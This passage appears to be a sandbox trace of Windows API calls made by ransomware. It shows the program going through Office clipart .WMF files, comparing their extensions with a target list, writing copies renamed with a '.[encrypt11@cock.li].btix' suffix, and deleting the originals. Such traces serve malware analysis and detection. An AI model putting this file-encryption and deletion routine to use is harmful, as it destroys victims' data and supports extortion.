Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.714] lstrlenW (lpString=".jpg") returned 4 [0140.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.714] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0140.714] lstrlenW (lpString="J0102002.WMF") returned 12 [0140.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.715] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15988) returned 1 [0140.715] CloseHandle (hObject=0x430) returned 1 [0140.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0140.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.716] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.716] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.717] GetLastError () returned 0x0 [0140.717] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0140.718] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0140.719] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.719] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.720] SetEndOfFile (hFile=0x4c0) returned 1 [0140.720] CloseHandle (hObject=0x4c0) returned 1 [0140.720] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.720] SetEndOfFile (hFile=0x430) returned 1 [0140.722] CloseHandle (hObject=0x430) returned 1 [0140.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0140.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.723] lstrlenW (lpString=".doc") returned 4 [0140.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.723] lstrlenW (lpString=".docx") returned 5 [0140.723] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0140.723] lstrlenW (lpString=".pdf") returned 4 [0140.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.723] lstrlenW (lpString=".xls") returned 4 [0140.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.723] lstrlenW (lpString=".xlsx") returned 5 [0140.723] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0140.723] lstrlenW (lpString=".ppt") returned 4 [0140.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString=".zip") returned 4 [0140.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.724] lstrlenW (lpString=".rar") returned 4 [0140.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString=".bz2") returned 4 [0140.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString=".7z") returned 3 [0140.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString=".dbf") returned 4 [0140.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString=".1cd") returned 4 [0140.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString=".jpg") returned 4 [0140.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.724] lstrlenW (lpString=".doc") returned 4 [0140.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString=".docx") returned 5 [0140.724] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0140.724] lstrlenW (lpString=".pdf") returned 4 [0140.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.724] lstrlenW (lpString=".xls") returned 4 [0140.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.725] lstrlenW (lpString=".xlsx") returned 5 [0140.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0140.725] lstrlenW (lpString=".ppt") returned 4 [0140.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.725] lstrlenW (lpString=".zip") returned 4 [0140.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.725] lstrlenW (lpString=".rar") returned 4 [0140.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.725] lstrlenW (lpString=".bz2") returned 4 [0140.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.725] lstrlenW (lpString=".7z") returned 3 [0140.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.725] lstrlenW (lpString=".dbf") returned 4 [0140.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.725] lstrlenW (lpString=".1cd") returned 4 [0140.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0140.725] lstrlenW (lpString=".jpg") returned 4 [0140.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.726] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0140.726] lstrlenW (lpString="J0102594.WMF") returned 12 [0140.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.726] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=27000) returned 1 [0140.726] CloseHandle (hObject=0x430) returned 1 [0140.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0140.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.727] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.729] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0141.264] GetLastError () returned 0x0 [0141.264] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x6978, lpOverlapped=0x0) returned 1 [0141.266] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x6980, lpOverlapped=0x0) returned 1 [0141.268] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.268] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.268] SetEndOfFile (hFile=0x4c8) returned 1 [0141.268] CloseHandle (hObject=0x4c8) returned 1 [0141.268] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.268] SetEndOfFile (hFile=0x430) returned 1 [0141.388] CloseHandle (hObject=0x430) returned 1 [0141.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0141.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.614] lstrlenW (lpString=".doc") returned 4 [0141.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.614] lstrlenW (lpString=".docx") returned 5 [0141.614] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.615] lstrlenW (lpString=".pdf") returned 4 [0141.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.615] lstrlenW (lpString=".xls") returned 4 [0141.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.615] lstrlenW (lpString=".xlsx") returned 5 [0141.615] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.615] lstrlenW (lpString=".ppt") returned 4 [0141.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.615] lstrlenW (lpString=".zip") returned 4 [0141.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.615] lstrlenW (lpString=".rar") returned 4 [0141.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.615] lstrlenW (lpString=".bz2") returned 4 [0141.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.615] lstrlenW (lpString=".7z") returned 3 [0141.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.615] lstrlenW (lpString=".dbf") returned 4 [0141.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.616] lstrlenW (lpString=".1cd") returned 4 [0141.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.616] lstrlenW (lpString=".jpg") returned 4 [0141.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.616] lstrlenW (lpString=".doc") returned 4 [0141.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.616] lstrlenW (lpString=".docx") returned 5 [0141.616] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.616] lstrlenW (lpString=".pdf") returned 4 [0141.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.616] lstrlenW (lpString=".xls") returned 4 [0141.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.617] lstrlenW (lpString=".xlsx") returned 5 [0141.617] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.617] lstrlenW (lpString=".ppt") returned 4 [0141.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.617] lstrlenW (lpString=".zip") returned 4 [0141.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.617] lstrlenW (lpString=".rar") returned 4 [0141.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.617] lstrlenW (lpString=".bz2") returned 4 [0141.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.617] lstrlenW (lpString=".7z") returned 3 [0141.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.617] lstrlenW (lpString=".dbf") returned 4 [0141.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.617] lstrlenW (lpString=".1cd") returned 4 [0141.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0141.617] lstrlenW (lpString=".jpg") returned 4 [0141.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.617] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.618] lstrlenW (lpString="J0103262.WMF") returned 12 [0141.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.703] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=12900) returned 1 [0141.703] CloseHandle (hObject=0x380) returned 1 [0141.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0141.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0141.717] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.717] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0141.718] GetLastError () returned 0x0 [0141.718] ReadFile (in: hFile=0x508, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3264, lpOverlapped=0x0) returned 1 [0141.730] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3270, lpOverlapped=0x0) returned 1 [0141.730] ReadFile (in: hFile=0x508, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.731] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.731] SetEndOfFile (hFile=0x54c) returned 1 [0141.731] CloseHandle (hObject=0x54c) returned 1 [0141.731] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.731] SetEndOfFile (hFile=0x508) returned 1 [0141.733] CloseHandle (hObject=0x508) returned 1 [0141.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0141.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.734] lstrlenW (lpString=".doc") returned 4 [0141.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.734] lstrlenW (lpString=".docx") returned 5 [0141.734] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.734] lstrlenW (lpString=".pdf") returned 4 [0141.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.734] lstrlenW (lpString=".xls") returned 4 [0141.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.734] lstrlenW (lpString=".xlsx") returned 5 [0141.735] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.735] lstrlenW (lpString=".ppt") returned 4 [0141.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.735] lstrlenW (lpString=".zip") returned 4 [0141.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.735] lstrlenW (lpString=".rar") returned 4 [0141.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.735] lstrlenW (lpString=".bz2") returned 4 [0141.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.735] lstrlenW (lpString=".7z") returned 3 [0141.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.735] lstrlenW (lpString=".dbf") returned 4 [0141.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.736] lstrlenW (lpString=".1cd") returned 4 [0141.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.736] lstrlenW (lpString=".jpg") returned 4 [0141.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.736] lstrlenW (lpString=".doc") returned 4 [0141.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString=".docx") returned 5 [0141.736] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.736] lstrlenW (lpString=".pdf") returned 4 [0141.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString=".xls") returned 4 [0141.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.736] lstrlenW (lpString=".xlsx") returned 5 [0141.736] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.736] lstrlenW (lpString=".ppt") returned 4 [0141.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.736] lstrlenW (lpString=".zip") returned 4 [0141.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.736] lstrlenW (lpString=".rar") returned 4 [0141.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.736] lstrlenW (lpString=".bz2") returned 4 [0141.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".7z") returned 3 [0141.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.737] lstrlenW (lpString=".dbf") returned 4 [0141.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.737] lstrlenW (lpString=".1cd") returned 4 [0141.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0141.737] lstrlenW (lpString=".jpg") returned 4 [0141.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.737] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.737] lstrlenW (lpString="J0103812.WMF") returned 12 [0141.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 